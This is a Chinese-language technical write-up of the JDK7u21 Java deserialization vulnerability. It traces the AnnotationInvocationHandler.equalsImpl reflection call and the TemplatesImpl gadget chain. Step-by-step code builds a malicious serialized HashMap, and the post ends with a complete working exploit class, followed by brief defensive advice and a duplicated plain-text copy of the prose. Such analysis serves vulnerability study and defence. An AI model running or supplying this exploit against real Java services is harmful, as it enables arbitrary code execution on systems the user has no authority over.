jdk7u21原生反序列化
字数 1420 2025-08-20 18:17:07

JDK7u21反序列化漏洞深入分析与利用

漏洞概述

JDK7u21反序列化漏洞是Java 7u21及之前版本中存在的一个高危漏洞,允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。该漏洞的核心在于sun.reflect.annotation.AnnotationInvocationHandler类的equalsImpl方法中的不安全反射调用。

漏洞核心分析

AnnotationInvocationHandler.equalsImpl方法

漏洞的核心在于sun.reflect.annotation.AnnotationInvocationHandler类的equalsImpl方法:

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;
        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);  // 关键漏洞点
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }
            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }
        return true;
    }
}

关键点在于var5.invoke(var1)这行代码,它通过反射调用了传入对象的方法。

getMemberMethods方法

equalsImpl方法中调用的getMemberMethods()方法实现如下:

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }
    return this.memberMethods;
}

该方法会获取当前type属性的所有声明方法,并将其设置为可访问。

利用链构造

利用TemplatesImpl链

对于Java自带的类,可以利用TemplatesImpl链。如果type中仅有触发TemplatesImpl链的方法,就可以通过equalsImpl函数的反射调用触发TemplatesImpl链。

Templates接口类的两个方法newTransformergetOutputProperties都可以作为TemplatesImpl链的触发方法。

通过动态代理调用equalsImpl

equalsImpl是私有方法,不能直接调用,但可以通过AnnotationInvocationHandler的唯一公共方法invoke来间接调用:

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    }
    // 其他代码...
}

要触发invoke方法,可以构造一个动态代理Proxy,通过调用代理的equals方法来触发invoke

完整利用步骤

1. 构造恶意TemplatesImpl类

TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("恶意类路径"));
byte[][] evilcode = {evil};

// 设置_name字段
Field name = templates.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"任意名称");

// 设置_bytecodes字段
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,evilcode);

// 设置_tfactory字段
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

注意:恶意类需要实现AbstractTranslet接口,因为在TemplatesImpl#defineTransletClasses方法中会检查:

_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}

2. 创建AnnotationInvocationHandler代理

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
declaredConstructor.setAccessible(true);

// 创建初始HashMap,用一个字符串占位
HashMap hashMap = new HashMap();
hashMap.put("f5a5a608","占位值");

// 使用Templates.class作为第一个参数
Object o = declaredConstructor.newInstance(Templates.class,hashMap);

// 创建动态代理
Map ProxyMap = (Map) Proxy.newProxyInstance(
    ClassLoader.getSystemClassLoader(), 
    new Class[]{Map.class}, 
    (InvocationHandler) o
);

// 将占位的value替换为templates
hashMap.put("f5a5a608",templates);

3. 构造触发HashMap

为了使ProxyMap.hashCode()templates.hashCode()相等,需要满足:

  1. memberValues中只有一个键值对
  2. 键的hashCode等于0
  3. 值为templates对象
HashMap evilmap = new HashMap();
evilmap.put(ProxyMap,null);
evilmap.put(templates,null);

4. 序列化与反序列化触发

// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(evilmap);

// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();

替代触发方式

除了直接调用HashMap.put方法,还可以通过反射调用HashMap#putForCreate方法:

Method putForCreate = HashMap.class.getDeclaredMethod("putForCreate", Object.class, Object.class);
putForCreate.setAccessible(true);
putForCreate.invoke(evilmap,templates,null);
putForCreate.invoke(evilmap,ProxyMap,null);

这种方式在HashMap#readObject函数中被调用,因此可以直接通过反序列化触发。

完整EXP示例

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class EXP {
    public static void main(String[] args) throws Exception {
        // 构造恶意TemplatesImpl类
        TemplatesImpl templates = new TemplatesImpl();
        byte[] evil = Files.readAllBytes(Paths.get("恶意类路径"));
        byte[][] evilcode = {evil};
        
        Field name = templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"任意名称");
        
        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,evilcode);
        
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        // 创建AnnotationInvocationHandler代理
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
        declaredConstructor.setAccessible(true);
        
        HashMap hashMap = new HashMap();
        hashMap.put("f5a5a608","占位值");
        
        Object o = declaredConstructor.newInstance(Templates.class,hashMap);
        
        Map ProxyMap = (Map) Proxy.newProxyInstance(
            ClassLoader.getSystemClassLoader(), 
            new Class[]{Map.class}, 
            (InvocationHandler) o
        );
        
        hashMap.put("f5a5a608",templates);
        
        // 构造触发HashMap
        HashMap evilmap = new HashMap();
        evilmap.put(ProxyMap,null);
        evilmap.put(templates,null);
        
        // 序列化与触发
        serialize(evilmap);
        deserialize("ser.bin");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

防御措施

  1. 升级JDK到7u21之后的版本
  2. 对反序列化操作进行严格限制
  3. 使用安全管理器限制危险操作
  4. 使用白名单机制控制可反序列化的类

总结

JDK7u21反序列化漏洞通过精心构造的序列化数据,利用AnnotationInvocationHandlerTemplatesImpl的反射机制,实现了任意代码执行。理解该漏洞的利用链和触发机制对于防御类似漏洞具有重要意义。

JDK7u21反序列化漏洞深入分析与利用 漏洞概述 JDK7u21反序列化漏洞是Java 7u21及之前版本中存在的一个高危漏洞,允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。该漏洞的核心在于 sun.reflect.annotation.AnnotationInvocationHandler 类的 equalsImpl 方法中的不安全反射调用。 漏洞核心分析 AnnotationInvocationHandler.equalsImpl方法 漏洞的核心在于 sun.reflect.annotation.AnnotationInvocationHandler 类的 equalsImpl 方法: 关键点在于 var5.invoke(var1) 这行代码,它通过反射调用了传入对象的方法。 getMemberMethods方法 equalsImpl 方法中调用的 getMemberMethods() 方法实现如下: 该方法会获取当前 type 属性的所有声明方法,并将其设置为可访问。 利用链构造 利用TemplatesImpl链 对于Java自带的类,可以利用 TemplatesImpl 链。如果 type 中仅有触发 TemplatesImpl 链的方法,就可以通过 equalsImpl 函数的反射调用触发 TemplatesImpl 链。 Templates 接口类的两个方法 newTransformer 和 getOutputProperties 都可以作为 TemplatesImpl 链的触发方法。 通过动态代理调用equalsImpl equalsImpl 是私有方法,不能直接调用,但可以通过 AnnotationInvocationHandler 的唯一公共方法 invoke 来间接调用: 要触发 invoke 方法,可以构造一个动态代理 Proxy ,通过调用代理的 equals 方法来触发 invoke 。 完整利用步骤 1. 构造恶意TemplatesImpl类 注意 :恶意类需要实现 AbstractTranslet 接口,因为在 TemplatesImpl#defineTransletClasses 方法中会检查: 2. 创建AnnotationInvocationHandler代理 3. 构造触发HashMap 为了使 ProxyMap.hashCode() 和 templates.hashCode() 相等,需要满足: memberValues 中只有一个键值对 键的 hashCode 等于0 值为 templates 对象 4. 序列化与反序列化触发 替代触发方式 除了直接调用 HashMap.put 方法,还可以通过反射调用 HashMap#putForCreate 方法: 这种方式在 HashMap#readObject 函数中被调用,因此可以直接通过反序列化触发。 完整EXP示例 防御措施 升级JDK到7u21之后的版本 对反序列化操作进行严格限制 使用安全管理器限制危险操作 使用白名单机制控制可反序列化的类 总结 JDK7u21反序列化漏洞通过精心构造的序列化数据,利用 AnnotationInvocationHandler 和 TemplatesImpl 的反射机制,实现了任意代码执行。理解该漏洞的利用链和触发机制对于防御类似漏洞具有重要意义。